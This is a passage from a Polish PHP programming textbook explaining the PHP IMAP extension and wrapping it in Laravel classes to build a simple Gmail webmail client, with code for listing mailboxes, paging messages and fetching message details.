$connection = imap_open('{imap.gmail.com:993/imap/ssl}/INBOX', $username, $password);

if(imap_reopen($connection '{imap.gmail.com:993/imap/ssl}/Archive')) {
echo "Zmieniono skrzynkę pocztową na 'Archive'";
} else {
echo "Nie udało się zmienić skrzynki pocztowej.";
}
?>

Programiści mają do dyspozycji także inne funkcje służące do wykonywania różnych operacji
na skrzynkach pocztowych (na przykład funkcje do ich tworzenia i usuwania), jednak wykraczają
one poza zakres prostego, internetowego klienta pocztowego, który mamy zamiar zaimplementować
w tym rozdziale. Gdyby jednak Czytelnik chciał skorzystać z tych funkcji, to zachęcamy do po-
szukania informacji na ich temat w dokumentacji PHP.

Pobieranie listy wiadomości z serwera IMAP


Do tej pory pokazaliśmy tylko, w jaki sposób można nawiązać połączenie z serwerem IMAP,
pobrać listę dostępnych skrzynek pocztowych oraz wybrać skrzynkę, której chcielibyśmy używać
w danym momencie. Kolejnym zagadnieniem, któremu się przyjrzymy, będzie pobieranie wiadomo-
ści poczty elektronicznej przechowywanych w danej skrzynce pocztowej, oczywiście o ile takie
w ogóle istnieją.

Można przypuszczać, że użytkownik najpierw będzie chciał pobrać listę wiadomości dostępnych
w skrzynce pocztowej, a dopiero potem pobrać i wyświetlić jedną z nich. Korzystając z rozsze-
rzenia IMAP PHP, można to zrobić przy użyciu funkcji imap_fetch_overview(), która zwraca
wskazany zakres wiadomości z określonej skrzynki pocztowej. Koniecznie należy zwrócić
uwagę na to, że funkcja ta zwraca jedynie pewien zakres wiadomości ze skrzynki, a nie wszyst-
kie z nich. Szczególnie w obecnych czasach, kiedy przestrzeń do magazynowania danych jest
tania, skrzynki pocztowe mogą zawierać nawet dziesiątki tysięcy wiadomości, dlatego pobieranie ich
wszystkich w ramach jednej operacji jest nie tylko niepraktyczne, lecz także bardzo nierozsądne.
Zamiast tego lepiej jest pobrać za jednym razem jedynie części dostępnych wiadomości i zaim-
plementować mechanizm stronicowania, pozwalający na poruszanie się do przodu i w tył listy.
Zagadnieniem tym zajmiemy się już za chwilę, na razie jednak przedstawimy samą funkcję
imap_fetch_overview() oraz sposób jej stosowania:
array imap_fetch_overview(resource $resource, string $sequence [, int $options = 0])
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 595

Tak jak wcześniej, również w tym wywołaniu parametr $resource jest zasobem IMAP, a para-
metr $sequence łańcuchem znaków zawierającym opis tych wiadomości, które należy pobrać ze
skrzynki pocztowej. Określenie tej sekwencji może mieć kilka różnych postaci, a pisząc o sekwencji,
odwołujemy się do faktu, że każdej wiadomości w skrzynce pocztowej jest nadawany identyfi-
kator liczbowy, którego wartości sekwencyjnie rosną. Oznacza to, że pierwsza wiadomość w danej
skrzynce ma identyfikator o wartości 1, druga — identyfikator o wartości 2 itd. Podczas określania
tej sekwencji można bądź to podać identyfikatory poszczególnych wiadomości, oddzielając je od
siebie przecinkami, bądź też określić cały zakres przy użyciu formatu "X:Y", gdzie X jest początkiem
sekwencji, a Y końcem zakresu pobieranych wiadomości.
<?php
// pobranie pierwszych dziesięciu wiadomości ze skrzynki pocztowej
// przy wykorzystaniu zapisu zakresu
$messages = imap_fetch_overview($connection, "1:10");
?>

Uważny Czytelnik zapewne zauważył, że nie podaliśmy jeszcze opisu ostatniego, opcjonalnego
parametru funkcji imap_fetch_overview() — zrobiliśmy to celowo, gdyż odwołuje się on do nowego
pojęcia, które wymaga nieco bardziej rozbudowanego wprowadzenia. Przedstawiamy je poniżej.

Zgodnie z podanymi wcześniej informacjami parametr $sequence odwołuje się do wartości liczbo-
wej reprezentującej konkretne położenie danej wiadomości poczty elektronicznej w skrzynce
pocztowej. A zatem użycie sekwencji zakresu o postaci 1:10 lub 3,5,7 spowoduje, odpowiednio,
zwrócenie pierwszych dziesięciu wiadomości lub wiadomości trzeciej, piątej i siódmej. Wiado-
mości te są zwracane w formie tablicy. Jednak istnieje jeszcze inny sposób odwoływania się do
wiadomości w skrzynce pocztowej. Opiera się on na wykorzystaniu unikalnego identyfikatora
nadawanego każdej wiadomości przez serwer IMAP. Ten unikalny identyfikator pozwala na
szybkie pobranie konkretnej wiadomości bez konieczności lokalizowania jej położenia w skrzynce
pocztowej (zazwyczaj jest to możliwe dzięki temu, że wiadomość ta została odszukana już
wcześniej). Ów identyfikator jest zwracany jako jeden z elementów struktury danych (tablicy)
reprezentujących wiadomość, a konkretnie: w elemencie o kluczu 'uid'. W przypadku pobierania
wiadomości przy użyciu unikalnych identyfikatorów za pomocą funkcji imap_fetch_overview()
można przypisać opcjonalnemu parametrowi $options wartość FT_UID, a następnie w parametrze
$sequence podać listę unikalnych identyfikatorów wiadomości, oddzielonych od siebie przecin-
kami. Trzeba jednak pamiętać, że w przypadku posługiwania się tymi unikalnymi identyfikatorami
nie można określać zakresu pobieranych wiadomości (przy wykorzystaniu przedstawionego
wcześniej zapisu 'X:Y'). Zasadę tę demonstruje poniższy przykład:
<?php
// pobranie pierwszych dziesięciu wiadomości w bieżącej
// skrzynce pocztowej
$messages = imap_fetch_overview($connection, '1:10');

// Pobranie unikalnych identyfikatorów trzeciej, piątej i siódmej wadomości


// w bieżącej skrzynce pocztowej
$unique_ids = [
$messages[2]['uid'],
$messages[4]['uid'],
$messages[6]['uid']
];

// pobranie trzeciej, piątej i siódmej wiadomości na podstawie


// unikalnego identyfikatora
$subsetMessages = imap_fetch_overview($connection, implode(',', $unique_ids), FT_UID);
?>
596 Część V  Tworzenie praktycznych projektów PHP i MySQL

Jak wskazuje sama nazwa funkcji — imap_fetch_overview() — zwraca ona jedynie wybrane
informacje dotyczące pobieranych wiadomości, te, które są przeważnie potrzebne do wyświetlenia
listy wiadomości w kliencie pocztowym. Dla każdej wiadomości umieszczonej w tablicy wyników
zostanie zwrócona przedstawiona poniżej grupa par klucz-wartość, o ile tylko informacje te zostaną
zdefiniowane dla danej wiadomości. Ponieważ nie wszystkie serwery IMAP, a nawet nie wszystkie
wiadomości na danym serwerze dysponują tym samym zestawem szczegółowych informacji,
niektóre z tych kluczy mogą być niedostępne; dlatego przed ich użyciem zawsze należy sprawdzić,
czy można się do nich odwołać. Oto lista tych kluczy:
 $email['subject'] — temat wiadomości;
 $email['from'] — adres nadawcy wiadomości;
 $email['to'] — adres odbiorcy wiadomości (zapisany w formacie RFC822);
 $email['date'] — data wysłania wiadomości (zapisana w formacie RFC822);
 $email['message_id'] — identyfikator wiadomości (nie należy go mylić z numerem
w sekwencji ani z unikalnym identyfikatorem wiadomości);
 $email['references'] — opcjonalny identyfikator wiadomości informujący o tym,
że dana wiadomość odwołuje się do innej wiadomości o podanym identyfikatorze;
 $email['in_reply_to'] — opcjonalny identyfikator wiadomości informujący o tym,
że dana wiadomość jest odpowiedzią na wiadomość o podanym identyfikatorze;
 $email['size'] — wielkość wiadomości wyrażona w bajtach;
 $email['uid'] — unikalny identyfikator wiadomości nadany jej przez serwer IMAP;
 $email['msgno'] — identyfikator sekwencji wiadomości w skrzynce pocztowej;
 $email['recent'] — flaga informująca o tym, że wiadomość została ostatnio otrzymana;
 $email['flagged'] — flaga informująca o tym, że wiadomość została oflagowana jako
spam, śmieci itd.
 $email['answered'] — flaga informująca o tym, że została już wysłana odpowiedź na tę
wiadomość;
 $email['deleted'] — flaga informująca o tym, że wiadomość została zaznaczona
jako przeznaczona do usunięcia;
 $email['seen'] — flaga informująca o tym, że wiadomość została już wcześniej
wyświetlona;
 $email['draft'] — flaga informująca o tym, że wiadomość jest oznaczona jako szkic.

Po tym krótkim wprowadzeniu do funkcji imap_fetch_overview() możemy wrócić do problemu


dotyczącego podziału na strony. Ponieważ zwyczajne pobieranie wszystkich wiadomości ze
skrzynki pocztowej za każdym razem, gdy trzeba wyświetlić ich listę, jest rozwiązaniem nieprak-
tycznym, konieczne będzie podzielenie tej listy na strony i wyświetlanie ich po jednej. Aby zrobić
to w sposób efektywny, tak by uzyskać informację o całkowitej liczbie stron, trzeba się najpierw
dowiedzieć, ile wiadomości znajduje się w danej skrzynce pocztowej. Takie metadane dotyczące
danej skrzynki pocztowej IMAP można pobrać przy użyciu funkcji imap_check(), którą poniżej
opisujemy nieco dokładniej.

Funkcja imap_check() służy do pobierania różnego rodzaju użytecznych informacji na temat


obecnie aktywnej skrzynki pocztowej. Funkcja ta ma następujący prototyp:
object imap_check(resource $connection);
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 597

Obiekt zwracany przez tę funkcję jest instancją ogólnej klasy PHP — stdClass — i zawiera na-
stępujące właściwości:
 $info->Date — bieżący systemowy czas skrzynki pocztowej zapisany zgodnie
z wytycznymi dokumentu RFC2822;
 $info->Driver — protokół używany do uzyskania dostępu do danej skrzynki pocztowej
(dostępne wartości tej właściwości to pop3, imap oraz nntp);
 $info->Mailbox — nazwa bieżącej skrzynki pocztowej;
 $info->Nmsgs — liczba wiadomości dostępnych w bieżącej skrzynce pocztowej;
 $info->Recent — liczba ostatnio otrzymanych wiadomości dostępnych w bieżącej
skrzynce pocztowej.

Do zaimplementowania podziału na strony potrzebna jest nam właściwość Nmsgs, która określa
całkowitą liczbę wiadomości w skrzynce pocztowej; na tej właściwości wyliczymy całkowitą
liczbę stron niezbędnych do pobrania i wyświetlenia całej zawartości skrzynki (uwzględniając
przy tym predefiniowaną, maksymalną liczbę wiadomości prezentowanych na stronie). Łącząc
ze sobą funkcje imap_check() oraz imap_fetch_overview(), można napisać kod własnej funkcji
zwracającej listę wiadomości z danej skrzynki pocztowej, które mają być wyświetlone na stronie
o konkretnym numerze. Poniżej przedstawiony został kod tej funkcji, której nadaliśmy nazwę
imap_overwiev_by_page:
<?php
function imap_overview_by_page($connection, int $page = 1, int $perPage = 25,
int $options = 0)
{
$boxInfo = imap_check($connection);

$start = $boxInfo->Nmsgs - ($perPage * $page);


$end = $start + ($perPage - (($page > 1) ? 1 : 0));

if($start < 1) {
$start = 1;
}

$overview = imap_fetch_overview($connection, "$start:$end", $options);


$overview = array_reverse($overview);

return $overview;
}
?>

Kod powyższej funkcji imap_overview_by_page jest bardzo prosty i nie wymaga dokładniejszego
opisu. Pierwszym parametrem jej wywołania jest zasób IMAP. Drugi parametr, $page, określa
numer strony listy wiadomości, trzeci — $perPage — liczbę wiadomości, które należy wyświetlić
na stronie, i w końcu ostatni — $options — odpowiada analogicznemu ostatniemu parametrowi
wewnętrznej funkcji imap_fetch_overview(). Wewnątrz funkcji wywoływana jest opisana
wcześniej funkcja imap_check(), za pomocą której pobieramy całkowitą liczbę wiadomości w bieżą-
cej skrzynce pocztowej, a następnie używamy tej funkcji wraz z parametrami $page i $perPage
do wyliczenia wartości określających początek i koniec sekwencji. Ze względu na charakter sekwen-
cji wiadomości po jej pobraniu musimy wywołać funkcję array_reverse(), by ułożyć zawartość
strony w logicznej kolejności. Dopiero tak przetworzoną sekwencję wiadomości zwracamy jako
wynik wywołania funkcji.
598 Część V  Tworzenie praktycznych projektów PHP i MySQL

Po zapoznaniu się z opisem tych wszystkich funkcji Czytelnik powinien już wiedzieć, w jaki
sposób zamierzamy połączyć te wszystkie narzędzia tak, by stworzyły prostego klienta poczty
elektronicznej. Skoro pokazaliśmy już, jak można pobrać ogólne informacje o wiadomościach
umieszczonych w skrzynce pocztowej, musimy zająć się kolejnym zagadnieniem: pobieraniem
pełnej zawartości konkretnej wiadomości wraz z ewentualnymi załącznikami.

Pobieranie i przetwarzanie konkretnych wiadomości pocztowych


Do tej pory Czytelnik dowiedział się, w jaki sposób można pobierać podsumowanie informacji
o wiadomościach dostępnych w danej skrzynce pocztowej. Aby pobrać faktyczną zawartość
wiadomości, uzyskać dostęp do jej załączników itd., musimy zastosować kolejną funkcję IMAP
— imap_body() — która zwraca zawartość wskazanej wiadomości:
imap_body(resource $connection, int $msgId [, int $options = 0]);

Parametr $connection określa zasób skrzynki pocztowej IMAP, a parametr $msgId — identyfika-
tor wiadomości, której treść chcemy pobrać. Funkcja ta pozwala na określenie pewnych użytecznych
opcji, których można używać podczas pobierania wiadomości; zostały one opisane poniżej:
 FT_UID — wskazuje, że parametr $msgId jest unikalnym identyfikatorem wiadomości
zwróconym przez serwer IMAP, a nie sekwencyjnym numerem wiadomości w skrzynce
pocztowej;
 FT_PEEK — wskazuje, że wiadomość ma zostać pobrana, ale serwer IMAP nie powinien
ustawiać dla niej flagi „obejrzana” („seen”). Możliwość ta jest przydatna w przypadkach,
gdy chcemy pobrać wiadomość w celach programistycznych, a nie po to, by wyświetlić
jej treść użytkownikowi.

A zatem, podobnie jak to było w przypadku funkcji imap_fetch_overview(), podczas stosowania


funkcji imap_body() za pomocą stałej FT_UID możemy pobrać ze skrzynki konkretną wiadomość,
używając jej unikalnego identyfikatora, a nie liczby określającej jej położenie na liście.

Pobieranie zawartości wiadomości przy użyciu funkcji imap_body() jest bardzo łatwe. W przypad-
ku wiadomości o najprostszej możliwej postaci można się spodziewać, że zawartość wiadomości
będzie jednocześnie jej treścią. Choć faktycznie może tak być, to jednak niemal zawsze wiado-
mość zawiera strukturę określaną jako format MIME. Jest to sposób zapisu korzystający z kodu
ASCII, który pozwala na tworzenie wiadomości poczty elektronicznej obejmujących kilka róż-
nych wersji (na przykład wersję HTML oraz wersję tekstową) i zawierających załączniki.
Oznacza to, że zawartość nowoczesnych wiadomości poczty elektronicznej jest strukturą, którą
dopiero trzeba przetworzyć, na przykład trzeba rozdzielić treść wiadomości (zapisaną w formie
kodu HTML i zwyczajnego tekstu) oraz poszczególne dołączone do niej załączniki.

Pełna prezentacja i wyjaśnienie formatu MIME znacznie wykraczają poza ramy tematyczne tego
rozdziału, ale dzięki możliwościom, jakie zapewnia rozszerzenie IMAP w języku PHP, dysponu-
jemy pewnymi użytecznymi narzędziami, które pomagają w przetworzeniu struktury wiadomości
na sensowne komponenty. Służy do tego funkcja imap_fetchstructure():
object imap_fetchstructure(resource $connection, int $msgId [, int $options = 0]);

Podobnie jak w przypadku funkcji imap_body(), także i tutaj parametry $connection oraz $msgId
reprezentują, odpowiednio, połączenie ze skrzynką pocztową oraz identyfikator wiadomości
(bądź to numer w sekwencji, bądź też, w przypadku podania opcji FT_UID, unikalny identyfikator).
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 599

Nawet bez zagłębiania się w szczegóły formatu MIME łatwo zauważyć, że struktura zwracana
przez funkcję imap_fetchstructure() bez trudu może stać się bardzo skomplikowana. Sama funk-
cja zwraca obiekt (klasy stdClass) zawierający drzewiastą strukturę zawartości wskazanej wia-
domości. Użyliśmy określenia „struktura drzewiasta”, gdyż — jak się Czytelnik wkrótce przekona
— zwrócony obiekt jest jedynie głównym, najwyższym węzłem tej struktury, a wewnątrz niego
mogą być potencjalnie zapisane inne, identyczne węzły podrzędne, reprezentujące każdą z części
lub jeszcze mniejsze fragmenty wiadomości. Poniżej przedstawiona została struktura obiektu
pojedynczego węzła:
 type — główny typ danego węzła;
 encoding — kodowanie zastosowane do przesłania zawartości tego węzła (na przykład
base64);
 ifsubtype — wartość logiczna określająca, czy został podany jakiś podtyp;
 subtype — podtyp MIME danego węzła;
 ifdescription — wartość logiczna określająca, czy został podany opis;
 description — łańcuch znaków z opisem węzła;
 ifid — wartość logiczna określająca, czy został podany łańcuch identyfikujący;
 id — łańcuch identyfikujący;
 lines — liczba wierszy zawartości danego węzła;
 bytes — liczba bajtów zajmowanych przez dany węzeł;
 ifdisposition — wartość logiczna określająca, czy został podany łańcuch dyspozycji;
 disposition — łańcuch zawierający dyspozycję dla danego węzła;
 ifdparameters — wartość logiczna określająca, czy zostały podane jakieś parametry
dyspozycji;
 dparameters — tablica obiektów reprezentujących parametry dyspozycji, z których każdy
składa się z właściwości attribute oraz value, opisujących dany parametr dyspozycji;
 ifparameters — wartość logiczna określająca, czy zostały podane jakieś parametry
węzła;
 parameters — tablica obiektów podobna do tej opisanej w punkcie dparameters, z tym
że zawierająca parametry węzła;
 parts — tablica węzłów podrzędnych reprezentujących inne fragmenty wiadomości.

Na podstawie zawartości węzłów można się domyślić, że struktura wiadomości poczty elektro-
nicznej w formacie MIME może być bardzo złożona, a logika, którą trzeba zaimplementować
w celu jej przetworzenia, jeszcze bardziej skomplikowana. Dlatego zamiast prezentować tę logikę
już teraz, co trudno byłoby zrobić sensownie w oderwaniu od konkretnego rozwiązania, zajmiemy
się planowanym klientem poczty elektronicznej, a przetwarzanie zawartości wiadomości opisze-
my przy okazji prezentowania jego implementacji.

Opakowywanie funkcji IMAP na potrzeby aplikacji Laravel


Znając podstawy zarówno frameworka Laravel, jak i rozszerzenia IMAP dostępnego w języku PHP,
możemy połączyć oba te rozwiązania i wykonać pierwszy krok na drodze do stworzenia inter-
netowego klienta poczty elektronicznej. Pierwszym etapem prac będzie utworzenie stosunkowo
prostej biblioteki pomocniczej, hermetyzującej możliwości funkcjonalne, jakie daje rozszerzenie
600 Część V  Tworzenie praktycznych projektów PHP i MySQL

IMAP dla PHP, i udostępniającej je pod postacią, która lepiej będzie się nadawać do wykorzystania
w aplikacji Laravel. Zakładamy przy tym, że Czytelnik rozpocznie prace nad aplikacją od zu-
pełnie nowego projektu aplikacji Laravel.

Pierwszą rzeczą, jaką zrobimy, będzie utworzenie w aplikacji katalogu (a zatem także i przestrzeni
nazw), w którym następnie umieścimy bibliotekę IMAP. Można jej nadać zupełnie dowolną na-
zwę, jednak my stworzymy katalog app/Library/Imap, który w aplikacji Laravel będzie automatycz-
nie odpowiadał przestrzeni nazw App\Library\Imap.

Pierwszy element biblioteki, który musimy napisać, będzie odpowiadał za nawiązanie połączenia
z serwerem IMAP. Zdecydowaliśmy się na napisanie tej możliwości funkcjonalnej w taki sposób,
by ogólna logika nawiązywania połączenia z serwerem IMAP została oddzielona od szczegółów im-
plementacyjnych obsługi konkretnej implementacji serwera IMAP. Ponieważ w tym projekcie
zamierzamy napisać klienta IMAP korzystającego z serwera IMAP usługi Gmail firmy Google,
zaczniemy od utworzenia dwóch klas: App\Library\Imap\AbstractConnection, klasy abstrak-
cyjnej zawierającej ogólne szczegóły implementacyjne związane z połączeniem IMAP, oraz
App\Library\Imap\GmailConnection, klasy zawierającej implementację połączenia z serwerem
IMAP usługi Gmail.

Zacznijmy od przedstawienia kodu klasy App\Library\Imap\AbstractConnection:


<?php
namespace App\Library\Imap;

abstract class AbstractConnection


{
protected $_username;
protected $_password;

protected $hostname = '';


protected $port = 993;
protected $path = '/imap/ssl';
protected $mailbox = 'INBOX';

public function getUsername() : string


{
return $this->_username;
}

public function getPassword() : string


{
return $this->_password;
}

public function setUsername(string $username) : self


{
$this->_username = $username;
return $this;
}

public function setPassword(string $password) : self


{
$this->_password = $password;
return $this;
}

public function connect(int $options = 0, int $n_retries = 0,


array $params = []) : \App\Library\Imap\Client
{
$connection = imap_open(
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 601

$this->getServerRef(),
$this->getUsername(),
$this->getPassword(),
$options,
$n_retries,
$params
);

if(!is_resource($connection)) {
throw new ImapException("Nie udało się nawiązać połączenia z serwerem.");
}

return new Client($connection, $this->getServerDetails());


}

protected function getServerDetails()


{
return [
'hostname' => $this->hostname,
'port' => $this->port,
'path' => $this->path,
'mailbox' => $this->mailbox
];
}

protected function getServerRef()


{
if(is_null($this->hostname)) {
throw new \Exception("Nie podano nazwy hosta.");
}

$serverRef = '{' . $this->hostname;

if(!empty($this->port)) {
$serverRef .= ':' . $this->port;
}

if(!empty($this->path)) {
$serverRef .= $this->path;
}

$serverRef .= '}' . $this->mailbox;


return $serverRef;
}
}
?>

Jeśli chodzi o klasę App\Library\Imap\AbstractConnection oraz wszelkie klasy dziedziczące po


niej, to niezwykle ważne jest zaimplementowanie logiki niezbędnej do nawiązania połączenia
z konkretnym serwerem IMAP przy wykorzystaniu funkcji udostępnianych przez rozszerzenie
PHP IMAP oraz zwrócenie instancji kolejnej klasy — App\Library\Imap\Client — która będzie
używać utworzonego połączenia oraz implementować wszystkie możliwości funkcjonalne związane
z jego stosowaniem.

Zakładamy, że logika klasy App\Library\Imap\AbstractConnection jest stosunkowo prosta i nie


wymaga żadnych dodatkowych wyjaśnień dotyczących sposobu działania przedstawionego kodu.
Jak już zaznaczaliśmy wcześniej, ponieważ nasz klient ma działać wyłącznie z serwerem IMAP
usługi Gmail, utworzymy także prostą klasę App\Library\Imap\GmailConnection, dziedziczącą
po App\Library\Imap\AbstractConnection, która będzie implementować szczegóły nawiązywania
połączenia z serwerem usługi Gmail. Poniżej przedstawione zostały kod tej klasy oraz przykład
wykorzystania jej do utworzenia obiektu Client:
602 Część V  Tworzenie praktycznych projektów PHP i MySQL

<?php
namespace App\Library\Imap;

class GmailConnection extends AbstractConnection


{
protected $hostname = 'imap.gmail.com';
protected $port = 993;
protected $path = '/imap/ssl';
protected $mailbox = 'INBOX';
}

?>

<?php
$connection = new GmailConnection();

try {
$client = $connection->setUsername($username)
->setPassword($password)
->connect();
} catch(\App\Library\Imap\ImapException $e) {
echo "Nie udało się nawiązać połączenia: {$e->getMessage()}";
}
?>

Po utworzeniu połączenia i przekazaniu go do klasy App\Library\Imap\Client możemy już


przejść do implementacji kluczowych możliwości funkcjonalnych związanych z obsługą proto-
kołu IMAP, których będziemy potrzebowali w tworzonej aplikacji.

Klasa klienta IMAP


Klasa App\Library\Imap\Client, którą właśnie zamierzamy napisać, będzie implementować wszyst-
kie możliwości funkcjonalne niezbędne do wchodzenia w interakcje z serwerem IMAP przy
wykorzystaniu rozszerzenia PHP IMAP. Konstruktor tej klasy definiuje dwa parametry.
Pierwszym z nich jest zasób połączenia IMAP (określony przez klasę dziedziczącą po
App\Library\Imap\AbstractConnection), a drugim — specyfikacja tego połączenia (używana do
skonstruowania łańcucha odwołania do serwera, jeśli będzie to potrzebne):
public function __construct($connection, array $spec)
{
if(!is_resource($connection)) {
throw new \InvalidArgumentException("Trzeba podać zasób połączenia IMAP.");
}

$this->_prototype = new Message($connection);


$this->_connection = $connection;
$this->_spec = $spec;
$this->_currentMailbox = $spec['mailbox'];
}

Jak widać, tworzymy w tym konstruktorze instancję nieznanej jeszcze klasy Message(), do której
także przekazujemy połączenie. Będzie to kolejna klasa wchodząca w skład naszej biblioteki,
służąca jako pojemnik dla poszczególnych wiadomości pobieranych z serwera IMAP. Zastosujemy
w niej wzorzec projektowy prototypu (w którym instancja nadrzędna będzie po prostu klonowana
za każdym razem, gdy będzie konieczne utworzenie nowego obiektu wiadomości), ułatwiając
w ten sposób programistom zaimplementowanie klasy Message. Klasę tę opiszemy szczegółowo
dopiero w dalszej części rozdziału, na razie wystarczy jedynie informacja o tym, że ten obiekt pro-
totypu klasy Message można zmienić przy użyciu dwóch poniższych metod:
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 603

public function setPrototype(MessageInterface $obj) : self


{
$this->_prototype = $obj;
return $this;
}

public function getPrototype() : MessageInterface


{
return clone $this->_prototype;
}

Podobnie jak samo rozszerzenie IMAP dla języka PHP, także klasa App\Library\Imap\Client
będzie operować na jednej skrzynce pocztowej w danej chwili. W jej konstruktorze określili-
śmy, że początkową skrzynką pocztową ma być domyślna skrzynka wskazana przez klasę odpowia-
dającą za utworzenie klienta. Oczywiście musimy także zaimplementować metody pozwalające
na zmianę aktywnej skrzynki pocztowej oraz zwrócenie informacji o obecnie używanej skrzynce.
Operacje te będą wykonywane przez dwie metody: getCurrentMailbox() oraz setCurrentMailbox(),
których kod został przedstawiony poniżej:
public function getCurrentMailbox() : string
{
return $this->_currentMailbox;
}

public function setCurrentMailbox(string $box, int $options = 0,


int $n_retries = 0) : self
{
$this->_currentMailbox = $box;
if(!imap_reopen($this->_connection, $this->getServerRef() .
$this->_currentMailbox, $options, $n_retries)) {
throw new ImapException("Nie udało się otworzyć skrzynki pocztowej: $box");
}
return $this;
}

Pierwsza z powyższych metod — getCurrentMailbox() — jest zwyczajną metodą typu „get”,


która zwraca bieżącą wartość właściwości Client::$_currentMailbox. Jednak odpowiadająca
jej metoda typu „set” jest nieco bardziej złożona — nie tylko ustawia wartość odpowiedniej wła-
ściwości, lecz także używa przedstawionej wcześniej funkcji imap_reopen(), by faktycznie zmienić
na serwerze IMAP wykorzystywaną skrzynkę pocztową. W ten sposób metoda ta gwarantuje,
że wszystkie dalsze operacje będą rzeczywiście wykonywane na podanej skrzynce pocztowej.

Aby w sposób sensowny utworzyć internetowego klienta poczty elektronicznej korzystającego


z protokołu IMAP i obsługującego wiele skrzynek pocztowych, trzeba zapewnić użytkownikowi
możliwość wyświetlenia wszystkich dostępnych skrzynek. To z kolei zmusza nas do dodania do
klasy Client kolejnej metody: getMailboxes(). Przeznaczenie tej metody odpowiada jej nazwie:
metoda ta zwraca tablicę wszystkich skrzynek pocztowych, które są dostępne w danym połącze-
niu IMAP. Do pobrania tych skrzynek używana jest funkcja imap_list(), która pobiera listę skrzy-
nek pocztowych.
public function getMailboxes($pattern = '*')
{
$serverRef = $this->getServerRef();

$result = imap_list($this->_connection, $serverRef, $pattern);

if(!is_array($result)) {
return [];
}
604 Część V  Tworzenie praktycznych projektów PHP i MySQL

$retval = [];

foreach($result as $mailbox) {
$retval[] = str_replace($serverRef, '', $mailbox);
}

return $retval;
}

Należy zwrócić uwagę na to, że zgodnie z informacjami podanymi wcześniej metoda imap_list()
wymaga przekazania łańcucha odwołania do serwera, podobnego do tego używanego w funkcji
imap_open(), który zdefiniuje zakres skrzynek pobieranych skrzynek pocztowych. Nas interesują
skrzynki pocztowe umieszczone na „głównym poziomie” połączenia i właśnie je pobiera przedsta-
wiona metoda. Ponieważ funkcja imap_list() zwraca listę skrzynek pocztowych w formie łańcu-
chów zawierających pełne odwołania (włącznie z nazwą serwera), te niepotrzebne dane są usuwane
z tablicy wynikowej. Poniżej zaprezentowana została metoda getServerRef(), która konstruuje
łańcuch połączenia z serwerem IMAP:
protected function getServerRef()
{
$serverRef = '{' . $this->_spec['hostname'];

if(!empty($this->_spec['port'])) {
$serverRef .= ':' . $this->_spec['port'];
}

if(!empty($this->_spec['path'])) {
$serverRef .= $this->_spec['path'];
}

$serverRef .= '}';

return $serverRef;
}

Dzięki przedstawionym metodom nasza klasa klienta IMAP zapewnia już możliwość zwracania
listy skrzynek pocztowych oraz szybkiego i prostego przełączania się pomiędzy nimi. Kolejnym
zadaniem będzie pobranie listy wiadomości dostępnych w konkretnej skrzynce pocztowej. We
wcześniejszej części rozdziału taką listę wiadomości pobieraliśmy przy użyciu funkcji PHP
imap_fetch_overview(). Jak Czytelnik zapewne pamięta, przy okazji jej prezentowania wspomi-
naliśmy także o konieczności zaimplementowania jakiegoś mechanizmu podziału na strony,
dzięki któremu będzie się ona nadawać do praktycznego zastosowania, a nawet zaimplemento-
waliśmy demonstracyjną wersję funkcji przeprowadzającej taki podział. Większą część tamtego
kodu zastosujemy ponownie w przedstawionej poniżej metodzie getPage(), która należy do naszej
klasy Client i odpowiada za pobieranie listy wiadomości.
public function getPage(int $page = 1, int $perPage = 25, $options = 0) :
\Illuminate\Support\Collection
{
$boxInfo = imap_check($this->_connection);

$start = $boxInfo->Nmsgs - ($perPage * $page);


$end = $start + ($perPage - (($page > 1) ? 1 : 0) );

if($start < 1) {
$start = 1;
}
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 605

$overview = imap_fetch_overview($this->_connection,
"$start:$end",
$options);
$overview = array_reverse($overview);

$collection = new Collection();

foreach($overview as $key => $msg) {


$msgObj = $this->getPrototype();

$msgObj->setSubject($msg->subject)
->setFrom($msg->from)
->setTo($msg->to)
->setDate($msg->date)
->setMessageId($msg->message_id)
->setSize($msg->size)
->setUID($msg->uid)
->setMessageNo($msg->msgno);

if(isset($msg->references)) {
$msgObj->setReferences($msg->references);
}

if(isset($msg->in_reply_to)) {
$msgObj->setInReplyTo($msg->in_reply_to);
}

$collection->put($key, $msgObj);
}
return $collection;
}

W odróżnieniu od pierwotnej implementacji, korzystającej z funkcji imap_fetch_overview(),


powyższa metoda getPage() została napisana specjalnie z myślą o zastosowaniu jej w środowisku
frameworka Laravel i z wykorzystaniem technik obiektowych. W szczególności, zamiast zwracać
tablicę, jak to robiła pierwotna implementacja mechanizmu podziału na strony, metoda getPage()
zwraca instancję klasy Illuminate\Support\Collection, stanowiącą implementację kolekcji,
stosowaną we frameworku Laravel. Kolekcje tego typu zapewniają znacznie większą elastyczność
niż zwyczajne tablice (pełny opis ich możliwości funkcjonalnych można znaleźć w dokumentacji
API frameworka Laravel). Co więcej, w kolekcji nie są zapisywane tablice, lecz instancje klasy
Message, którą przedstawiliśmy wcześniej, przy okazji prezentowania konstruktora klasy Client.

Aby zapewnić możliwość zwrócenia z danej skrzynki pocztowej pojedynczej wiadomości, a nie
całej ich listy, zaimplementujemy także metodę getMessage(). Tak samo jak metoda getPage(),
zwracająca kolekcję instancji Message, poniższa metoda getMessage() będzie zwracać jeden obiekt
tej klasy:
public function getMessage($id, int $options = 0) :
\App\Library\Imap\Message\MessageInterface
{
$overview = imap_fetch_overview($this->_connection, $id, $options);

if(empty($overview)) {
return $this->getPrototype();
}

$overview = array_pop($overview);

$retval = $this->getPrototype();
606 Część V  Tworzenie praktycznych projektów PHP i MySQL

$retval->setSubject($overview->subject)
->setFrom($overview->from)
->setTo($overview->to)
->setDate($overview->date)
->setMessageId($overview->message_id)
->setSize($overview->size)
->setUID($overview->uid)
->setMessageNo($overview->msgno);

return $retval;
}

Na podstawie metod getPage() oraz getMessage() łatwo wywnioskować, że nasza klasa Message
służy głównie jako obiektowe opakowanie zapewniające możliwości zwracania różnych wartości
pobieranych przez funkcję PHP imap_fetch_overview() (informacje na jej temat można znaleźć
we wcześniejszej części rozdziału). W następnym podpunkcie rozdziału opiszemy tę klasę nieco
